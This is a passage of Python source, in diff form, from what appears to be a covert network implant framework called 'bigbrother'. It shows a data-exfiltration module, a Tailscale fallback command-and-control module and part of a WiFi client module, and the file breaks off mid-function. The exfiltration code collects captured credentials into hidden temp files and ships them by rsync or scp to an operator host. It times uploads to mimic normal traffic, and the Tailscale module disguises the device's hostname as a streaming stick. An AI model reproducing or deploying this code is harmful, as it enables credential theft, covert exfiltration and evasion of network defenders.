def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
|
||||
|
||||
if self._worker_thread and self._worker_thread.is_alive():
|
||||
self._worker_thread.join(timeout=5.0)
|
||||
if self._nightly_thread and self._nightly_thread.is_alive():
|
||||
self._nightly_thread.join(timeout=5.0)
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)",
|
||||
self._stats["files_sent"], self._stats["bytes_sent"],
|
||||
self._stats["failures"])
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"queue_immediate": len(self._immediate_queue),
|
||||
"queue_nightly": len(self._nightly_queue),
|
||||
"queue_on_demand": len(self._on_demand_queue),
|
||||
"stats": dict(self._stats),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self._worker_thread is not None and self._worker_thread.is_alive()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY,
|
||||
description: str = "") -> bool:
|
||||
"""Queue a file for exfiltration at the given priority."""
|
||||
if not os.path.isfile(path):
|
||||
logger.warning("Exfil target does not exist: %s", path)
|
||||
return False
|
||||
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
except OSError:
|
||||
size = 0
|
||||
|
||||
job = ExfilJob(
|
||||
path=path,
|
||||
priority=ExfilPriority(priority),
|
||||
size_bytes=size,
|
||||
description=description,
|
||||
)
|
||||
|
||||
with self._lock:
|
||||
if priority == ExfilPriority.IMMEDIATE:
|
||||
self._immediate_queue.append(job)
|
||||
elif priority == ExfilPriority.NIGHTLY:
|
||||
self._nightly_queue.append(job)
|
||||
else:
|
||||
self._on_demand_queue.append(job)
|
||||
|
||||
logger.debug("Queued for exfil (%s): %s (%d bytes)",
|
||||
ExfilPriority(priority).name, path, size)
|
||||
return True
|
||||
|
||||
def sync_intel(self) -> bool:
|
||||
"""Trigger an immediate sync of all queued intel/nightly data."""
|
||||
logger.info("Manual intel sync triggered")
|
||||
return self._process_nightly_queue()
|
||||
|
||||
def get_exfil_stats(self) -> dict:
|
||||
"""Return exfil statistics."""
|
||||
with self._lock:
|
||||
return dict(self._stats)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event: Event) -> None:
|
||||
"""Handle CREDENTIAL_FOUND events — push immediately."""
|
||||
payload = event.payload
|
||||
cred_file = payload.get("file")
|
||||
cred_data = payload.get("data")
|
||||
|
||||
if cred_file and os.path.isfile(cred_file):
|
||||
self.push_file(cred_file, ExfilPriority.IMMEDIATE,
|
||||
description=f"credential: {payload.get('type', 'unknown')}")
|
||||
elif cred_data:
|
||||
# Write credential data to a temp file for exfil
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"
|
||||
cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json")
|
||||
try:
|
||||
fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, json.dumps(cred_data).encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
self.push_file(cred_path, ExfilPriority.IMMEDIATE,
|
||||
description="credential_data")
|
||||
except OSError as exc:
|
||||
logger.error("Failed to write credential for exfil: %s", exc)
|
||||
|
||||
with self._lock:
|
||||
self._stats["creds_pushed"] += 1
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Worker threads
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _worker_loop(self) -> None:
|
||||
"""Main worker: drain immediate queue, respecting traffic mimicry."""
|
||||
while self._running:
|
||||
# Process immediate queue first
|
||||
job = None
|
||||
with self._lock:
|
||||
if self._immediate_queue:
|
||||
job = self._immediate_queue.popleft()
|
||||
|
||||
if job:
|
||||
self._process_job(job)
|
||||
else:
|
||||
time.sleep(5.0)
|
||||
|
||||
def _nightly_scheduler(self) -> None:
|
||||
"""Wait until NIGHTLY_HOUR and trigger nightly sync."""
|
||||
while self._running:
|
||||
now = time.localtime()
|
||||
if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5:
|
||||
# Check traffic mimicry — is this a normal upload time?
|
||||
if self._is_upload_window():
|
||||
self._process_nightly_queue()
|
||||
with self._lock:
|
||||
self._stats["nightly_syncs"] += 1
|
||||
# Sleep past the window to avoid re-triggering
|
||||
time.sleep(3600)
|
||||
continue
|
||||
|
||||
time.sleep(60)
|
||||
|
||||
def _process_job(self, job: ExfilJob) -> bool:
|
||||
"""Transfer a single file through the connectivity chain."""
|
||||
job.attempts += 1
|
||||
job.last_attempt = time.time()
|
||||
|
||||
# Try each connectivity method in order
|
||||
for conn_name in CONNECTIVITY_CHAIN:
|
||||
conn_status = self.state.get_module_status(conn_name)
|
||||
if conn_status.get("status") != "running":
|
||||
continue
|
||||
|
||||
if self._transfer_file(job.path, conn_name):
|
||||
with self._lock:
|
||||
self._stats["files_sent"] += 1
|
||||
self._stats["bytes_sent"] += job.size_bytes
|
||||
logger.info("Exfil success: %s via %s (%d bytes)",
|
||||
job.path, conn_name, job.size_bytes)
|
||||
|
||||
# Clean up temp credential files after successful send
|
||||
if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path:
|
||||
try:
|
||||
os.unlink(job.path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
return True
|
||||
|
||||
# All channels failed — re-queue if under max attempts
|
||||
with self._lock:
|
||||
self._stats["failures"] += 1
|
||||
|
||||
if job.attempts < MAX_ATTEMPTS:
|
||||
logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing",
|
||||
job.path, job.attempts, MAX_ATTEMPTS)
|
||||
time.sleep(RETRY_BACKOFF)
|
||||
with self._lock:
|
||||
if job.priority == ExfilPriority.IMMEDIATE:
|
||||
self._immediate_queue.append(job)
|
||||
else:
|
||||
self._nightly_queue.append(job)
|
||||
else:
|
||||
logger.error("Exfil permanently failed for %s after %d attempts",
|
||||
job.path, MAX_ATTEMPTS)
|
||||
|
||||
return False
|
||||
|
||||
def _process_nightly_queue(self) -> bool:
|
||||
"""Process all items in the nightly queue."""
|
||||
success = True
|
||||
while self._running:
|
||||
with self._lock:
|
||||
if not self._nightly_queue:
|
||||
break
|
||||
job = self._nightly_queue.popleft()
|
||||
|
||||
if not self._process_job(job):
|
||||
success = False
|
||||
|
||||
# Brief pause between files to avoid traffic bursts
|
||||
time.sleep(2.0)
|
||||
|
||||
return success
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Transfer methods
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _transfer_file(self, local_path: str, via_module: str) -> bool:
|
||||
"""Transfer a file using rsync/scp over the specified connectivity module."""
|
||||
if not os.path.isfile(local_path):
|
||||
return False
|
||||
|
||||
# Determine remote target based on connectivity module
|
||||
remote_host = self._get_remote_host(via_module)
|
||||
if not remote_host:
|
||||
return False
|
||||
|
||||
remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/"
|
||||
|
||||
# Build SSH options — use known_hosts for host key verification
|
||||
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
|
||||
ssh_opts = [
|
||||
"-o", "StrictHostKeyChecking=accept-new", # Accept only if not seen before
|
||||
"-o", "LogLevel=ERROR",
|
||||
"-o", "ConnectTimeout=10",
|
||||
]
|
||||
|
||||
# Use operator-provided known_hosts if available, else fail
|
||||
known_hosts = exfil_cfg.get("ssh_known_hosts_file")
|
||||
if known_hosts:
|
||||
if not os.path.isfile(known_hosts):
|
||||
raise FileNotFoundError(f"SSH known_hosts file not found: {known_hosts}")
|
||||
ssh_opts.extend(["-o", f"UserKnownHostsFile={known_hosts}"])
|
||||
else:
|
||||
# Fallback: require known_hosts to prevent MITM
|
||||
logger.error("SSH known_hosts not configured — exfil disabled for MITM protection")
|
||||
return False
|
||||
|
||||
if self._ssh_key:
|
||||
ssh_opts.extend(["-i", self._ssh_key])
|
||||
|
||||
# Try rsync first (delta transfer, bandwidth efficient)
|
||||
if self._try_rsync(local_path, remote_path, ssh_opts):
|
||||
return True
|
||||
|
||||
# Fallback to scp
|
||||
return self._try_scp(local_path, remote_path, ssh_opts)
|
||||
|
||||
def _try_rsync(self, local_path: str, remote_path: str,
|
||||
ssh_opts: list) -> bool:
|
||||
"""Attempt file transfer via rsync."""
|
||||
ssh_cmd = "ssh " + " ".join(ssh_opts)
|
||||
cmd = [
|
||||
"rsync", "-az", "--timeout=30",
|
||||
"-e", ssh_cmd,
|
||||
local_path, remote_path,
|
||||
]
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, timeout=120,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _try_scp(self, local_path: str, remote_path: str,
|
||||
ssh_opts: list) -> bool:
|
||||
"""Attempt file transfer via scp."""
|
||||
cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path]
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, timeout=120,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _get_remote_host(self, via_module: str) -> Optional[str]:
|
||||
"""Get the remote host address for a connectivity module."""
|
||||
if via_module == "wireguard":
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
# Use the WireGuard peer's allowed IP (operator side)
|
||||
allowed = wg_cfg.get("allowed_ips", "")
|
||||
if "/" in allowed:
|
||||
return allowed.split("/")[0]
|
||||
return allowed if allowed else None
|
||||
|
||||
elif via_module == "tailscale":
|
||||
# Get Tailscale IP of the operator machine from config
|
||||
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
||||
return ts_cfg.get("operator_ip")
|
||||
|
||||
|
||||
elif via_module == "cellular_backup":
|
||||
# Cellular uses a separate relay
|
||||
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
|
||||
return cell_cfg.get("exfil_host")
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Traffic mimicry integration
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _is_upload_window(self) -> bool:
|
||||
"""Check if current time falls within a normal upload window.
|
||||
|
||||
Reads the traffic mimicry baseline to determine if now is a
|
||||
reasonable time for upload activity.
|
||||
"""
|
||||
baseline = self.state.get("traffic_mimicry", "upload_hours", default=None)
|
||||
if not baseline:
|
||||
# No baseline — allow all hours
|
||||
return True
|
||||
|
||||
try:
|
||||
if isinstance(baseline, str):
|
||||
allowed_hours = json.loads(baseline)
|
||||
else:
|
||||
allowed_hours = baseline
|
||||
|
||||
current_hour = time.localtime().tm_hour
|
||||
return current_hour in allowed_hours
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return True
|
||||
@@ -0,0 +1,290 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
|
||||
|
||||
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
|
||||
servers — it is chatty by design. Use only when:
|
||||
1. WireGuard is blocked by the target network
|
||||
2. Target network already has Tailscale traffic (blends in)
|
||||
|
||||
Manages the tailscaled daemon via subprocess. Authenticates with a
|
||||
per-engagement auth key and sets hostname to match the MAC profile
|
||||
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TAILSCALE_BIN = "/usr/bin/tailscale"
|
||||
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
||||
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
|
||||
|
||||
|
||||
class Tailscale(BaseModule):
|
||||
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
|
||||
|
||||
name = "tailscale"
|
||||
module_type = "connectivity"
|
||||
priority = -150
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._daemon_proc: Optional[subprocess.Popen] = None
|
||||
self._auth_key: Optional[str] = None
|
||||
self._hostname: Optional[str] = None
|
||||
self._connected = False
|
||||
self._tailscale_ip: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
||||
if not ts_cfg:
|
||||
logger.error("No tailscale config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._auth_key = ts_cfg.get("auth_key")
|
||||
self._hostname = ts_cfg.get("hostname")
|
||||
|
||||
if not self._auth_key:
|
||||
logger.error("Tailscale auth_key not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# If no hostname specified, try to match MAC profile
|
||||
if not self._hostname:
|
||||
mac_hostname = self.state.get(
|
||||
"mac_manager", "dhcp_hostname", default=None
|
||||
)
|
||||
if mac_hostname:
|
||||
self._hostname = mac_hostname.replace(" ", "-").lower()
|
||||
else:
|
||||
self._hostname = f"bb-{os.urandom(3).hex()}"
|
||||
|
||||
# Start tailscaled daemon
|
||||
if not self._start_daemon(ts_cfg):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Authenticate and bring up
|
||||
if not self.up(self._auth_key):
|
||||
logger.error("Failed to bring Tailscale up")
|
||||
self._stop_daemon()
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"ip": self._tailscale_ip, "hostname": self._hostname},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale up — hostname=%s, ip=%s",
|
||||
self._hostname, self._tailscale_ip)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.down()
|
||||
self._stop_daemon()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"ip": self._tailscale_ip,
|
||||
"hostname": self._hostname,
|
||||
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Tailscale operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def up(self, auth_key: str) -> bool:
|
||||
"""Authenticate and bring Tailscale up with the given auth key."""
|
||||
try:
|
||||
cmd = [TAILSCALE_BIN, "up",
|
||||
"--authkey", auth_key,
|
||||
"--hostname", self._hostname,
|
||||
"--accept-routes"]
|
||||
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
logger.error("tailscale up failed: %s", result.stderr.strip())
|
||||
return False
|
||||
|
||||
# Get assigned IP
|
||||
self._tailscale_ip = self.get_ip()
|
||||
return self._tailscale_ip is not None
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("tailscale up timed out")
|
||||
return False
|
||||
|
||||
def down(self) -> bool:
|
||||
"""Bring Tailscale down (logout and disconnect)."""
|
||||
try:
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "logout"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "down"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
self._connected = False
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("Error during tailscale down: %s", exc)
|
||||
return False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if Tailscale is connected and has an IP."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status", "--json"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
import json
|
||||
status = json.loads(result.stdout)
|
||||
backend_state = status.get("BackendState", "")
|
||||
self._connected = backend_state == "Running"
|
||||
return self._connected
|
||||
|
||||
except (subprocess.TimeoutExpired, ValueError, KeyError):
|
||||
return False
|
||||
|
||||
def get_ip(self) -> Optional[str]:
|
||||
"""Get the Tailscale IPv4 address."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "ip", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
ip = result.stdout.strip().splitlines()[0]
|
||||
self._tailscale_ip = ip
|
||||
return ip
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Daemon management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_daemon(self, ts_cfg: dict) -> bool:
|
||||
"""Start tailscaled as a managed subprocess."""
|
||||
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
|
||||
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
|
||||
|
||||
os.makedirs(state_dir, exist_ok=True)
|
||||
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
|
||||
|
||||
cmd = [
|
||||
TAILSCALED_BIN,
|
||||
f"--state={state_dir}/tailscaled.state",
|
||||
f"--socket={socket_path}",
|
||||
"--tun=userspace-networking",
|
||||
]
|
||||
|
||||
try:
|
||||
self._daemon_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
|
||||
return False
|
||||
except OSError as exc:
|
||||
logger.error("Failed to start tailscaled: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for daemon to be ready
|
||||
deadline = time.time() + STARTUP_TIMEOUT
|
||||
while time.time() < deadline:
|
||||
if self._daemon_proc.poll() is not None:
|
||||
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
|
||||
logger.error("tailscaled exited prematurely: %s", stderr[:500])
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
# Any response (even "not logged in") means daemon is ready
|
||||
if result.returncode in (0, 1):
|
||||
logger.debug("tailscaled is ready")
|
||||
return True
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
time.sleep(1.0)
|
||||
|
||||
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
|
||||
self._stop_daemon()
|
||||
return False
|
||||
|
||||
def _stop_daemon(self) -> None:
|
||||
"""Stop the tailscaled subprocess."""
|
||||
if self._daemon_proc is None:
|
||||
return
|
||||
|
||||
if self._daemon_proc.poll() is None:
|
||||
try:
|
||||
self._daemon_proc.terminate()
|
||||
self._daemon_proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("tailscaled did not stop after SIGTERM, killing")
|
||||
self._daemon_proc.kill()
|
||||
try:
|
||||
self._daemon_proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
|
||||
self._daemon_proc = None
|
||||
@@ -0,0 +1,452 @@
|
||||
#!/usr/bin/env python3
|
||||
"""WiFi client module — managed wpa_supplicant for WiFi connectivity.
|
||||
|
||||
Supports WPA2-PSK and WPA2-Enterprise (PEAP/EAP-TLS). Generates
|
||||
wpa_supplicant.conf from config parameters, manages the wpa_supplicant
|
||||
process, and monitors connection quality.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
|
||||
WPA_CLI_BIN = "/sbin/wpa_cli"
|
||||
DEFAULT_INTERFACE = "wlan0"
|
||||
CONNECT_TIMEOUT = 30 # seconds
|
||||
|
||||
|
||||
class WiFiClient(BaseModule):
|
||||
"""WiFi client — wpa_supplicant managed WPA2-PSK/Enterprise."""
|
||||
|
||||
name = "wifi_client"
|
||||
module_type = "connectivity"
|
||||
priority = -100
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._wpa_proc: Optional[subprocess.Popen] = None
|
||||
self._interface = DEFAULT_INTERFACE
|
||||
self._config_path: Optional[str] = None
|
||||
self._connected = False
|
||||
self._ssid: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
wifi_cfg = self.config.get("connectivity", {}).get("wifi", {})
|
||||
if not wifi_cfg:
|
||||
logger.error("No wifi config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._interface = wifi_cfg.get("interface", DEFAULT_INTERFACE)
|
||||
ssid = wifi_cfg.get("ssid")
|
||||
psk = wifi_cfg.get("psk")
|
||||
|
||||
if not ssid:
|
||||
logger.error("WiFi SSID not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Determine auth type
|
||||
eap_cfg = wifi_cfg.get("eap")
|
||||
if eap_cfg:
|
||||
self._config_path = self._write_enterprise_config(
|
||||
ssid=ssid,
|
||||
eap_method=eap_cfg.get("method", "PEAP"),
|
||||
identity=eap_cfg.get("identity", ""),
|
||||
password=eap_cfg.get("password", ""),
|
||||
ca_cert=eap_cfg.get("ca_cert"),
|
||||
client_cert=eap_cfg.get("client_cert"),
|
||||
private_key=eap_cfg.get("private_key"),
|
||||
phase2=eap_cfg.get("phase2", "auth=MSCHAPV2"),
|
||||
)
|
||||
elif psk:
|
||||
self._config_path = self._write_psk_config(ssid, psk)
|
||||
else:
|
||||
logger.error("WiFi config has no PSK and no EAP section")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self.connect(ssid, psk):
|
||||
logger.error("Failed to connect to WiFi network '%s'", ssid)
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._ssid = ssid
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up", "ssid": ssid},
|
||||
source_module=self.name)
|
||||
logger.info("WiFi connected to '%s' on %s", ssid, self._interface)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.disconnect()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
# Cleanup config file
|
||||
if self._config_path and os.path.isfile(self._config_path):
|
||||
try:
|
||||
os.unlink(self._config_path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("WiFi client stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
signal = self.get_signal() if self._running else None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"ssid": self._ssid,
|
||||
"interface": self._interface,
|
||||
"signal_dbm": signal,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# WiFi operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def connect(self, ssid: str, psk: str = None) -> bool:
|
||||
"""Start wpa_supplicant and connect to the configured network."""
|
||||
# Kill any existing wpa_supplicant on this interface
|
||||
self._kill_existing_wpa()
|
||||
|
||||
# Bring interface up
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "up", "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.error("Failed to bring up %s: %s", self._interface, exc)
|
||||
return False
|
||||
|
||||
# Start wpa_supplicant
|
||||
cmd = [
|
||||
WPA_SUPPLICANT_BIN,
|
||||
"-i", self._interface,
|
||||
"-c", self._config_path,
|
||||
"-B", # background
|
||||
"-D", "nl80211,wext",
|
||||
"-P", f"/var/run/wpa_supplicant_{self._interface}.pid",
|
||||
]
|
||||
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
|
||||
if result.returncode != 0:
|
||||
logger.error("wpa_supplicant failed to start: %s", result.stderr.strip())
|
||||
return False
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.error("wpa_supplicant error: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for connection
|
||||
return self._wait_for_connection(timeout=CONNECT_TIMEOUT)
|
||||
|
||||
def disconnect(self) -> None:
|
||||
"""Stop wpa_supplicant and release the interface."""
|
||||
self._kill_existing_wpa()
|
||||
self._connected = False
|
||||
|
||||
# Release DHCP lease
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhclient", "-r", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
def scan(self) -> list:
|
||||
"""Scan for available WiFi networks. Returns list of dicts."""
|
||||
networks = []
|
||||
try:
|
||||
# Trigger scan
|
||||
subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "scan"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
time.sleep(3.0) # Allow scan to complete
|
||||
|
||||
# Get results
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "scan_results"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.strip().splitlines()[1:]: # Skip header
|
||||
parts = line.split("\t")
|
||||
if len(parts) >= 5:
|
||||
networks.append({
|
||||
"bssid": parts[0],
|
||||
"frequency": int(parts[1]),
|
||||
"signal": int(parts[2]),
|
||||
"flags": parts[3],
|
||||
"ssid": parts[4] if len(parts) > 4 else "",
|
||||
})
|
||||
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.warning("WiFi scan failed: %s", exc)
|
||||
|
||||
# Fallback to iw if wpa_cli not available
|
||||
if not networks:
|
||||
networks = self._scan_iw()
|
||||
|
||||
return networks
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if WiFi is associated and has an IP address."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "status"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
status_dict = {}
|
||||
for line in result.stdout.strip().splitlines():
|
||||
if "=" in line:
|
||||
k, v = line.split("=", 1)
|
||||
status_dict[k.strip()] = v.strip()
|
||||
|
||||
wpa_state = status_dict.get("wpa_state", "")
|
||||
self._connected = wpa_state == "COMPLETED"
|
||||
return self._connected
|
||||
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def get_signal(self) -> Optional[int]:
|
||||
"""Get current signal strength in dBm."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "signal_poll"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.strip().splitlines():
|
||||
